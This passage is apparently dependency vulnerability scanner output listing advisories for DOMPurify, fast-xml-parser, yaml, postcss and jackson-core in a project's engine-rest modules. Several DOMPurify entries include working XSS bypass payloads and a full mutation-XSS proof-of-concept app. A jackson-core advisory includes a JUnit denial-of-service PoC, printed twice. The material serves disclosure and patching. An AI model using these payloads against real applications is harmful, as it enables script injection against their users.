Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-25854
CVE-2026-33750 - brace-expansion
Severity: MEDIUM
Installed Version: 2.0.1
Fixed Version: 5.0.5, 3.0.2, 2.0.3, 1.1.13
Target: engine-rest/docs/package-lock.json
Title: brace-expansion: brace-expansion: Denial of Service via zero step value in brace pattern
Description:
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13, a brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. Versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13 fix the issue. As a workaround, sanitize strings passed to `expand()` to ensure a step value of `0` is not used.
Reference: https://avd.aquasec.com/nvd/cve-2026-33750
CVE-2025-15599 - dompurify
Severity: MEDIUM
Installed Version: 3.2.5
Fixed Version: 3.2.7
Target: engine-rest/docs/package-lock.json
Title: DOMPurify: DOMPurify: Cross-site scripting
Description:
DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.
Reference: https://avd.aquasec.com/nvd/cve-2025-15599
CVE-2026-0540 - dompurify
Severity: MEDIUM
Installed Version: 3.2.5
Fixed Version: 3.3.2, 2.5.9
Target: engine-rest/docs/package-lock.json
Title: DOMPurify: DOMPurify: Cross-site scripting vulnerability
Description:
DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.
Reference: https://avd.aquasec.com/nvd/cve-2026-0540
CVE-2026-41238 - dompurify
Severity: MEDIUM
Installed Version: 3.2.5
Fixed Version: 3.4.0
Target: engine-rest/docs/package-lock.json
Title: DOMPurify: DOMPurify: Cross-Site Scripting bypass via prototype pollution
Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions 3.0.1 through 3.3.3 are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization. Version 3.4.0 fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41238
CVE-2026-41239 - dompurify
Severity: MEDIUM
Installed Version: 3.2.5
Fixed Version: 3.4.0
Target: engine-rest/docs/package-lock.json
Title: DOMPurify: Vue 2: DOMPurify: Cross-site scripting due to incomplete sanitization of template expressions
Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41239
CVE-2026-41240 - dompurify
Severity: MEDIUM
Installed Version: 3.2.5
Fixed Version: 3.4.0
Target: engine-rest/docs/package-lock.json
Title: DOMPurify: DOMPurify: Cross-Site Scripting (XSS) via inconsistent tag sanitization
Description:
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41240
GHSA-39q2-94rc-95cp - dompurify
Severity: MEDIUM
Installed Version: 3.2.5
Fixed Version: 3.4.0
Target: engine-rest/docs/package-lock.json
Title: DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation
Description:
## Summary
In `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation.
The condition:
```
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
```
When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID_TAGS[tagName]` is never evaluated.
## Inconsistency
This contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first:
```
if (FORBID_ATTR[lcName]) { continue; }
```
For tags, FORBID should also take precedence over ADD.
## Impact
Applications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.
## Suggested Fix
Check `FORBID_TAGS` before `tagCheck`:
```
if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
```
## Affected Version
v3.3.3 (commit 883ac15)
Reference: https://github.com/advisories/GHSA-39q2-94rc-95cp
GHSA-cj63-jhhr-wcxv - dompurify
Severity: MEDIUM
Installed Version: 3.2.5
Fixed Version: 3.3.2
Target: engine-rest/docs/package-lock.json
Title: DOMPurify USE_PROFILES prototype pollution allows event handlers
Description:
## Summary
When `USE_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `<img onclick=...>` with `USE_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.
## Impact
Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.
## Credits
Identified by Cantina’s Apex (https://www.cantina.security).
Reference: https://github.com/advisories/GHSA-cj63-jhhr-wcxv
GHSA-cjmm-f4jc-qw8r - dompurify
Severity: MEDIUM
Installed Version: 3.2.5
Fixed Version: 3.3.2
Target: engine-rest/docs/package-lock.json
Title: DOMPurify ADD_ATTR predicate skips URI validation
Description:
## Summary
DOMPurify allows `ADD_ATTR` to be provided as a predicate function via `EXTRA_ELEMENT_HANDLING.attributeCheck`. When the predicate returns `true`, `_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `<a href="javascript:alert(document.domain)">` and have the `javascript:` URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts `href` for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.
## Impact
Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.
## Credits
Identified by Cantina’s Apex (https://www.cantina.security).
Reference: https://github.com/advisories/GHSA-cjmm-f4jc-qw8r
GHSA-h8r8-wccr-v5f2 - dompurify
Severity: MEDIUM
Installed Version: 3.2.5
Fixed Version: 3.3.2
Target: engine-rest/docs/package-lock.json
Title: DOMPurify is vulnerable to mutation-XSS via Re-Contextualization
Description:
## Description
A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).
## Vulnerability
The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).
## PoC
1. Start the PoC app:
```bash
npm install
npm start
```
2. Open `http://localhost:3001`.
3. Set `Wrapper en sink` to `xmp`.
4. Use payload:
```html
<img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
```
5. Click `Sanitize + Render`.
6. Observe:
- `Sanitized response` still contains the `</xmp>` sequence inside `alt`.
- The sink reparses to include `<img src="x" onerror="alert('expoc')">`.
- `alert('expoc')` is triggered.
7. Files:
- index.html
```html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>expoc - DOMPurify SSR PoC</title>
<style>
:root {
--bg: #f7f8fb;
--panel: #ffffff;
--line: #d8dce6;
--text: #0f172a;
--muted: #475569;
--accent: #0ea5e9;
}
* {
box-sizing: border-box;
}
body {
margin: 0;
font-family: "SF Mono", Menlo, Consolas, monospace;
color: var(--text);
background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
}
main {
max-width: 980px;
margin: 28px auto;
padding: 0 16px 20px;
}
h1 {
margin: 0 0 10px;
font-size: 1.45rem;
}
p {
margin: 0;
color: var(--muted);
}
.grid {
display: grid;
gap: 14px;
margin-top: 16px;
}
.card {
background: var(--panel);
border: 1px solid var(--line);
border-radius: 12px;
padding: 14px;
}
label {
display: block;
margin-bottom: 7px;
font-size: 0.85rem;
color: var(--muted);
}
textarea,
input,
select,
button {
width: 100%;
border: 1px solid var(--line);
border-radius: 8px;
padding: 9px 10px;
font: inherit;
background: #fff;
}
textarea {
min-height: 110px;
resize: vertical;
}
.row {
display: grid;
grid-template-columns: 1fr 230px;
gap: 12px;
}
button {
cursor: pointer;
background: var(--accent);
color: #fff;
border-color: #0284c7;
}
#sink {
min-height: 90px;
border: 1px dashed #94a3b8;
border-radius: 8px;
padding: 10px;
background: #f8fafc;
}
pre {
margin: 0;
white-space: pre-wrap;
word-break: break-word;
}
.note {
margin-top: 8px;
font-size: 0.85rem;
}
.status-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
gap: 8px;
margin-top: 10px;
}
.status-item {
border: 1px solid var(--line);
border-radius: 8px;
padding: 8px 10px;
font-size: 0.85rem;
background: #fff;
}
.status-item.vuln {
border-color: #ef4444;
background: #fef2f2;
}
.status-item.safe {
border-color: #22c55e;
background: #f0fdf4;
}
@media (max-width: 760px) {
.row {
grid-template-columns: 1fr;
}
}
</style>
</head>
<body>
<main>
<h1>expoc - DOMPurify Server-Side PoC</h1>
<p>
Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
</p>
<div class="grid">
<section class="card">
<label for="payload">Payload</label>
<textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
<div class="row" style="margin-top: 10px;">
<div>
<label for="wrapper">Wrapper en sink</label>
<select id="wrapper">
<option value="div">div</option>
<option value="textarea">textarea</option>
<option value="title">title</option>
<option value="style">style</option>
<option value="script" selected>script</option>
<option value="xmp">xmp</option>
<option value="iframe">iframe</option>
<option value="noembed">noembed</option>
<option value="noframes">noframes</option>
<option value="noscript">noscript</option>
</select>
</div>
<div style="display:flex;align-items:end;">
<button id="run" type="button">Sanitize + Render</button>
</div>
</div>
<p class="note">Se usa render vulnerable: <code>sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'</code>.</p>
<div class="status-grid">
<div class="status-item vuln">script (vulnerable)</div>
<div class="status-item vuln">xmp (vulnerable)</div>
<div class="status-item vuln">iframe (vulnerable)</div>
<div class="status-item vuln">noembed (vulnerable)</div>
<div class="status-item vuln">noframes (vulnerable)</div>
<div class="status-item vuln">noscript (vulnerable)</div>
<div class="status-item safe">div (no vulnerable)</div>
<div class="status-item safe">textarea (no vulnerable)</div>
<div class="status-item safe">title (no vulnerable)</div>
<div class="status-item safe">style (no vulnerable)</div>
</div>
</section>
<section class="card">
<label>Sanitized response</label>
<pre id="sanitized">(empty)</pre>
</section>
<section class="card">
<label>Sink</label>
<div id="sink"></div>
</section>
</div>
</main>
<script>
const payload = document.getElementById('payload');
const wrapper = document.getElementById('wrapper');
const run = document.getElementById('run');
const sanitizedNode = document.getElementById('sanitized');
const sink = document.getElementById('sink');
run.addEventListener('click', async () => {
const response = await fetch('/sanitize', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ input: payload.value })
});
const data = await response.json();
const sanitized = data.sanitized || '';
const w = wrapper.value;
sanitizedNode.textContent = sanitized;
sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
});
</script>
</body>
</html>
```
- server.js
```js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const app = express();
const port = process.env.PORT || 3001;
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));
app.get('/health', (_req, res) => {
res.json({ ok: true, service: 'expoc' });
});
app.post('/sanitize', (req, res) => {
const input = typeof req.body?.input === 'string' ? req.body.input : '';
const sanitized = DOMPurify.sanitize(input);
res.json({ sanitized });
});
app.listen(port, () => {
console.log(`expoc running at http://localhost:${port}`);
});
```
- package.json
```json
{
"name": "expoc",
"version": "1.0.0",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"start": "node server.js",
"dev": "node server.js"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"dompurify": "^3.3.1",
"express": "^5.2.1",
"jsdom": "^28.1.0"
}
}
```
## Evidence
- PoC
[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)
- XSS triggered
<img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" />
## Why This Happens
This is a mutation-XSS pattern caused by a parse-context mismatch:
- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).
- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure.
Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.
## Remediation Guidance
1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).
5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers).
Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.
Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft
Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).
Reference: https://github.com/advisories/GHSA-h8r8-wccr-v5f2
CVE-2026-33349 - fast-xml-parser
Severity: MEDIUM
Installed Version: 4.5.3
Fixed Version: 4.5.5, 5.5.7
Target: engine-rest/docs/package-lock.json
Title: fast-xml-parser: fast-xml-parser: Denial of Service via unbounded entity expansion due to incorrect configuration limit handling
Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
Reference: https://avd.aquasec.com/nvd/cve-2026-33349
CVE-2026-41650 - fast-xml-parser
Severity: MEDIUM
Installed Version: 4.5.3
Fixed Version: 5.7.0
Target: engine-rest/docs/package-lock.json
Title: fast-xml-parser: fast-xml-parser: XML injection via improper escaping of comment and CDATA sequences
Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the "-->" sequence in comment content or the "]]>" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.
Reference: https://avd.aquasec.com/nvd/cve-2026-41650
CVE-2025-64718 - js-yaml
Severity: MEDIUM
Installed Version: 4.1.0
Fixed Version: 4.1.1, 3.14.2
Target: engine-rest/docs/package-lock.json
Title: js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1. ...
Description:
js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1.1 and 3.14.2, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. The problem is patched in js-yaml 4.1.1 and 3.14.2. Users can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).
Reference: https://avd.aquasec.com/nvd/cve-2025-64718
CVE-2026-41305 - postcss
Severity: MEDIUM
Installed Version: 8.4.49
Fixed Version: 8.5.10
Target: engine-rest/docs/package-lock.json
Title: postcss: PostCSS: Cross-Site Scripting (XSS) via improper escaping of style closing tags
Description:
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41305
CVE-2026-33532 - yaml
Severity: MEDIUM
Installed Version: 1.10.2
Fixed Version: 2.8.3, 1.10.3
Target: engine-rest/docs/package-lock.json
Title: yaml: yaml: Denial of Service via deeply nested YAML document parsing
Description:
`yaml` is a YAML parser and serialiser for JavaScript. Parsing a YAML document with a version of `yaml` on the 1.x branch prior to 1.10.3 or on the 2.x branch prior to 2.8.3 may throw a RangeError due to a stack overflow. The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2–10 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process. Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation). Note: the library's `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion. All three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`. Versions 1.10.3 and 2.8.3 contain a patch.
Reference: https://avd.aquasec.com/nvd/cve-2026-33532
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: engine-rest/engine-rest-jakarta/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: engine-rest/engine-rest-openapi-generator/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
